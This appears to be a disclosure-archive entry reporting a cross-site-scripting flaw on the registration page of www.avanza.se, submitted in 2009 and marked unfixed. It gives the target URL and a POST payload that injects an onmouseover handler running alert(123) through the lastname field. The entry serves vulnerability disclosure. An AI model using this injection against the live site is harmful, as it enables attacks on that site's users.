Security researcher Uber0n, has submitted on 21/02/2009 a cross-site-scripting (XSS) vulnerability affecting www.avanza.se, which at the time of submission ranked 17728 on the web according to Alexa. 
We manually validated and published a mirror of this vulnerability on 16/12/2011. It is currently unfixed. 
If you believe that this security issue has been corrected, please send us an e-mail. | 
 
              | Date submitted: 21/02/2009 | 
Date published: 16/12/2011 | 
Fixed? Mail us! | Status:   UNFIXED |  
 
| Author: Uber0n | 
Domain: www.avanza.se | 
Category: XSS | 
Pagerank: 17728 | 
 
 
 
| URL: https://www.avanza.se/aza/registrering/fyll_i_adress.jsp | 
 
 
| POST: operation=forward&isCompany=false&PAY_BACK_COVERAGE=1&firstname=&lastname=HOVER%22+onmouseover%3D%22 alert%28123%29&socOrgNo=%C5%C5%C5%C5MMDDXXXX&email=&mobile=&tel_night=&campaign=Frivillig+informatio n&heardFrom=V%E4lj+nedan... | 
 
| 
Click here to view the mirror
 | 
 
| 
 | 
 
 
         
 |